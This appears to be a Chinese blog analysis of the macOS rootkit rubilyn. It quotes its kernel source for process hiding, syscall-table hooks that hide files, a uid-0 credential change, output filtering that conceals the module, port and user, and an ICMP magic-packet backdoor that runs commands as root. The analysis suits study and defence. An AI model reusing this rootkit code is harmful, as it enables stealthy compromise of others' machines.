Mac OSX rootkit rubilyn 源码分析

1、隐藏进程

在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
struct proc* p;
if(pid!=0){
// lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
hidden_p[hidden_p_count]=p;
hidden_p_count++;
my_proc_list_lock();
LIST_REMOVE(p, p_list); // 移除p_list结构中关于p进程的元素
my_proc_list_unlock();
}
}
}
}
return 0;
}

2、隐藏文件

为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况, calltrace.d 脚本内容如下:

1
2
3
4
5
6
7
8
9
riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d 
pid$target:::entry
{
;
}
pid$target:::return
{
printf("=%d\n", arg1);
}

下面是查看finder进程2841的调用函数:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

2 1078881 getdirentriesattr:entry
2 1363229 getdirentriesattr:return =1

下面是ls命令(64位系统)调用的函数:

1
2
3
4
5
6
7
riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes
dtrace: pid 3184 has exited
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =1980
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =0

因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

1
2
3
4
5
6
7
8
9
10
struct sysent { /* system call table */
int16_t sy_narg; /* number of args */
int8_t sy_resv; /* reserved */
int8_t sy_flags; /* flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
int32_t sy_return_type; /* system call return types */
uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
};

为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

#define SYS_getdirentries 196
#define SYS_getdirentriesattr 222
#define SYS_getdirentries64 344

下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64 和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:

1
2
3
4
5
6
7
8
9
if(nsysent){
table = find_sysent();
if(table){
/* back up original syscall pointers */
org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; // 保存原系统函数地址
org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
/* replace syscalls in syscall table */
table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; // 替换原系统函数
table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct dirent {
__uint32_t d_fileno; // 节点号
__uint16_t d_reclen; // 目录项长度
__uint8_t d_type; // 文件类型
__uint8_t d_namlen; // 文件名
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN+1]; // 文件名
#else
char d_name[255+1]; // 文件名
#endif
}

此处我们只看下 new_getdirentries64 函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
int ret;
u_int64_t bcount = 0;
u_int64_t btot = 0;
size_t buffersize = 0;
struct direntry *dirp;
void *mem = NULL;
int updated = 0;
ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
btot = buffersize = bcount = *retval; // 函数返回的字节数
if(bcount > 0)
{
MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK); // 在内核空间分配bcount大小的内存
if(mem == NULL)
return(ret);
copyin(uap->buf, mem, bcount); // 将用户空间数据拷贝到刚分配的内核空间
dirp = mem;
while(bcount > 0 && dirp->d_reclen > 0)
{
if(dirp->d_reclen > 7)
// 搜索指定文件名
if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
{
char *next = (char *) dirp + dirp->d_reclen; // 下一目录项
u_int64_t offset = (char *) next - (char *) mem ; // 当前文件目录项大小
bcount -= dirp->d_reclen; // 递减字节数
btot -= dirp->d_reclen; // 递减目录项长度
bcopy(next,dirp,buffersize - offset); // 覆盖指定文件的目录项,从而实现文件隐藏
updated = 1;
continue;
}
bcount -= dirp->d_reclen;
dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
}
if(updated == 1)
{
copyout(mem,uap->buf,btot); // 将修改后的数据返回给用户空间
*retval = btot;
}
FREE(mem,M_TEMP); // 释放内核内存
}
return ret;
}

3、设置Root进程

先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int getroot(int pid)
{
struct proc *rootpid;
kauth_cred_t creds;
rootpid = proc_find(pid);
if(!rootpid)
return 0;
lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock); // 设置互斥锁
creds = rootpid->p_ucred; // 进程属主
creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)
rootpid->p_ucred = creds;
lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock); // 解锁
return 0;
}

4、隐藏网络端口、用户名和内核模块

通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
char buffer[MAXBUFFER];
if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, rubilyn))
return(uap->nbyte);
}
if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_port))
return(uap->nbyte);
}
if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
{
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_user))
return(uap->nbyte);
}
return org_write_nocancel(p,uap,retval);
}

5、设置ICMP 后门

首先添加IPv4过滤器ip_filter_ipv4:

1
2
3
4
5
6
7
8
9
10
11
 /* install IPv4 filter hook */
ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

ip_filter_ipv4结构如下:

static struct ipf_filter ip_filter_ipv4 = {
.name = "rubilyn",
.ipf_input = ipf_input,
.ipf_output = ipf_output,
.ipf_detach = ipf_detach,
};

当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:

1
2
3
4
5
/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e" // 解密后为“n0mn0mn0m”
#define MAGIC_ICMP_STR_LEN 9

ipf_input主要处理传给用户的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
char buf[IP_BUF_SIZE];
struct icmp *icmp;
if (!(data && *data))
return 0;
if (protocol != IPPROTO_ICMP)
return 0;
mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
icmp = (struct icmp *)&buf;
// 检测接收的icmp数据包中是否包含后门的特征数据,若是则调用KUNCExecute函数执行命令
if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
{
my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
}
return 0;
}

rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。